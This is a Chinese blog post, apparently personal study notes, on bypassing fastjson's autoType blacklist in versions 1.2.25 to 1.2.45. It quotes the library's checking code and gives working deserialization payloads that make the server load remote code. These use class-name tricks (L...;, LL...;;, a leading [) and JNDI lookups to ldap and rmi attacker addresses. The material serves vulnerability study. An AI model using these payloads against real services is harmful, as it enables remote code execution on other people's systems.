首页 > 其他分享 >fastjson

fastjson

时间:2023-03-08 20:57:14浏览次数:48  
标签:fastjson return expectClass clazz className typeName null

1.2.25 - 1.2.41版本绕过

首先我们用以前的脚本打一下:

发现报错autoType不允许后面的类加载,

查看代码
 public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {//到了这个版本,autoTypeSupport 默认false
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

在绕过的时候必须手动开启AutoType功能,还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造,在TemplatesImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号

 public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);

因为在loadclass中队L和;进行了删除,然后再loadclass,感觉这个看一下就行,毕竟应该不会这么巧。

1.2.42

就是在checkAutoType中,增加了哈希黑名单进行了过滤,并且如果满足黑名单就会截取前后个一个字符,

那么我们就可以直接添加两个LL;;来绕过就可以了,并且TypeUtils.class-->中的loadclass是一个递归调用,写几层都可以

复现过程:

发现导致这里进不去调用loadclass

深挖了一下,大概的逻辑就是 h3会返回是否是黑名单,如果是则是负数,然后执行,通过里面binarySearch运算时-1 ,所以多加几层然后返回+1就可以绕过了,太累了,不想调试了!

     ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//记得开,因为默认为false,不然第一个都进不去

        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/calc\", \"autoCommit\":true}";

        JSON.parseObject(PoC);

1.2.43版本绕过

checkAutoType函数首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常,也就是说1.2.42版本的payload会被过滤掉。

那么我们的突破口来到了,

我们能不能用[开头然后满足,调用loadclass这个,但是没成功需要调试,qwq太晚了,只能明天搞。

开搞开搞,

进来了所以我们现在只要让token不等于16就可以了,所以现在我们知道如何控制this.ch就可以了,但是他会执行token!=14就会抛出异常,所以我们要让token=14,因为我们取完类名,现在当前的jason数据是逗号,所以满足条件将token设置为16。当我们在逗号前面加一个[,该值不满足case16里面所有条件,但是满住337行if条件,所以执行nextToken()方法,参数为空。

查看代码
         ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/calc\", \"autoCommit\":true}";

        JSON.parseObject(PoC);

给出参考链接,看吐了给我,https://blog.csdn.net/dreamthe/article/details/125851153

<=1.2.45fastjson反序列化注入

 String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";

用了setproperties-->中的lookup    rmi中lookup可控可以触发漏洞

 

标签:fastjson,return,expectClass,clazz,className,typeName,null
From: https://www.cnblogs.com/JYcxk/p/17196223.html

相关文章

  • fastjsonBasicDataSource链分析
    fastjsonBasicDataSource链分析(fastjson<=1.2.36)此利用链只能应用于fastjson<=1.2.36,在1.2.37版本中,直接去掉了key.toString方法。前置知识:首先我们看一下com.sun.or......
  • fastjson修改json的时间转换,包含递归json子集的时间
    JSONDateMatchersEnum时间格式枚举类packageconvert;publicenumJSONDateMatchersEnum{DEFAULT_MATCHER("yyyy-MM-ddHH:MM:ss","^((((1[6-9]|[2-9]\\d)\\d{2})-(......
  • FastJson JdbcRowSetImpl
    Java安全之FastJsonJdbcRowSetImpl链分析利用限制RMI利用的JDK版本≤JDK6u132、7u122、8u113LADP利用JDK版本≤6u211、7u201、8u191因为主要是FastJson,所以就不......
  • Fastjson2 使用说明【转载】
    Fastjson1与Fastjson2的差别,深入简化的分析 Springboot使用Fastjson2转换器 ......
  • FastJson参数
    名称含义备注QuoteFieldNames输出key时是否使用双引号,默认为true UseSingleQuotes使用单引号而不是双引号,默认为false WriteMapN......
  • Fastjson Sec
    Fastjson前置知识autoType功能序列化:fastjson在通过JSON.toJSONString()将对象转换为字符串的时候,当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@ty......
  • 【Java】“com.alibaba.fastjson.JSONObject cannot be cast to“报错问题
    【Java】修复"com.alibaba.fastjson.JSONObjectcannotbecastto"报错问题报错如下:java.lang.ClassCastException:com.alibaba.fastjson.JSONObjectcannotbecasttoc......
  • Springboot中报错nested exception is com.alibaba.fastjson.JSONException: can not
    首先说明一下json的格式区别。先讲一下什么是json数据在名称/值对中数据由逗号 , 分隔使用斜杆 \ 来转义字符大括号 {} 保存对象中括号 [] 保存数组,数组可......
  • Springboot 集成 Fastjson2
    Springboot整合Fastjson2排除默认的Jackson<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>......
  • Fastjson2基础使用以及底层序列化/反序列化实现探究
    1Fastjson2简介Fastjson2是Fastjson的升级版,特征:协议支持:支持JSON/JSONB两种协议部分解析:可以使用JSONPath进行部分解析获取需要的值语言支持:Java/Kotlin场景支持:An......